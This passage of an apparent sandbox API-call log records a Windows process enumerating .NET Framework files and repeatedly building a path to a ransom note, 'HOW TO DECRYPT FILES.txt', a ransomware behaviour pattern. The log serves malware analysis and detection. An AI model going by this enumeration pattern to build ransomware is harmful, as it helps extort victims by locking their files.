lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0136.041] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0136.041] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="System.ServiceProcess.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.ServiceProcess.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.ServiceProcess.dll" [0136.041] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3efaff2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x3efaff2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0xaceed5dc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.tlb", cAlternateFileName="")) returned 1 [0136.041] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.042] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.ServiceProcess.dll") returned="System.ServiceProcess.dll" [0136.042] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0136.042] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0136.042] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0136.042] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0136.042] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="System.tlb" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.tlb") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.tlb" [0136.042] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4051c49, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x4051c49, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0xacf3989c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x3fe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Transactions.dll", cAlternateFileName="")) returned 1 [0136.042] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.043] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.tlb") returned="System.tlb" [0136.043] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0136.043] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0136.043] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0136.043] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0136.043] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="System.Transactions.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Transactions.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Transactions.dll" [0136.043] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99e0821d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99e0821d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99f5ee80, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x502000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.dll", cAlternateFileName="")) returned 1 [0136.043] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.044] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Transactions.dll") returned="System.Transactions.dll" [0136.047] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0136.047] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0136.047] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0136.047] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0136.047] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="System.Web.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Web.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Web.dll" [0136.048] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fa61870, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8fa61870, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8fa879d0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xcc000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Mobile.dll", cAlternateFileName="")) returned 1 [0136.048] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.049] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Web.dll") returned="System.Web.dll" [0136.050] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0136.050] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0136.050] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0136.050] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0136.051] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="System.Web.Mobile.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Web.Mobile.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Web.Mobile.dll" [0136.051] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x503cefe, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x503cefe, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0xad7422dc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x13000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.RegularExpressions.dll", cAlternateFileName="")) returned 1 [0136.051] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.051] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Web.Mobile.dll") returned="System.Web.Mobile.dll" [0136.051] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0136.051] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0136.051] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0136.051] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0136.052] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="System.Web.RegularExpressions.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Web.RegularExpressions.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Web.RegularExpressions.dll" [0136.053] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8eb0eab4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8eb0eab4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8eb0eab4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xcd000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Services.dll", cAlternateFileName="")) returned 1 [0136.053] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.053] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Web.RegularExpressions.dll") returned="System.Web.RegularExpressions.dll" [0136.053] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0136.053] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0136.053] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0136.053] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0136.053] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="System.Web.Services.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Web.Services.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Web.Services.dll" [0136.054] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5382d28, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x5382d28, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0xad8e51fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.tlb", cAlternateFileName="")) returned 1 [0136.054] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.054] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Web.Services.dll") returned="System.Web.Services.dll" [0136.054] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0136.054] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0136.054] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0136.054] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0136.054] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="System.Web.tlb" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Web.tlb") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Web.tlb" [0136.055] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82f9a4db, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x82f9a4db, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8300c8fb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4cb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Windows.Forms.dll", cAlternateFileName="")) returned 1 [0136.055] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.055] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Web.tlb") returned="System.Web.tlb" [0136.055] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0136.055] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0136.055] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0136.055] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0136.055] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="System.Windows.Forms.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Windows.Forms.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Windows.Forms.dll" [0136.056] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x655d1b0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x655d1b0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0xadce971c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Windows.Forms.tlb", cAlternateFileName="")) returned 1 [0136.056] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.056] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Windows.Forms.dll") returned="System.Windows.Forms.dll" [0136.056] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0136.056] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0136.056] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0136.056] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0136.056] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="System.Windows.Forms.tlb" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Windows.Forms.tlb") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Windows.Forms.tlb" [0136.057] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x832ba1c0, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x832ba1c0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x832e0321, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1f4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.XML.dll", cAlternateFileName="")) returned 1 [0136.057] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.057] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.Windows.Forms.tlb") returned="System.Windows.Forms.tlb" [0136.057] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0136.057] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0136.057] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0136.057] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0136.057] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="System.XML.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.XML.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.XML.dll" [0136.058] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dfe136, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6dfe136, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0xae2dce1c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x13148, dwReserved0=0x0, dwReserved1=0x0, cFileName="TLBREF.DLL", cAlternateFileName="")) returned 1 [0136.058] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.058] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\System.XML.dll") returned="System.XML.dll" [0136.058] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0136.058] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0136.058] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0136.058] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0136.058] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="TLBREF.DLL" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\TLBREF.DLL") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\TLBREF.DLL" [0136.058] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb823eae, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdb823eae, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xae622c5c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0xf32, dwReserved0=0x0, dwReserved1=0x0, cFileName="UninstallCommon.sql", cAlternateFileName="UNINST~1.SQL")) returned 1 [0136.059] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.059] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\TLBREF.DLL") returned="TLBREF.DLL" [0136.059] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0136.059] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0136.059] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0136.059] GetFileAttributesA 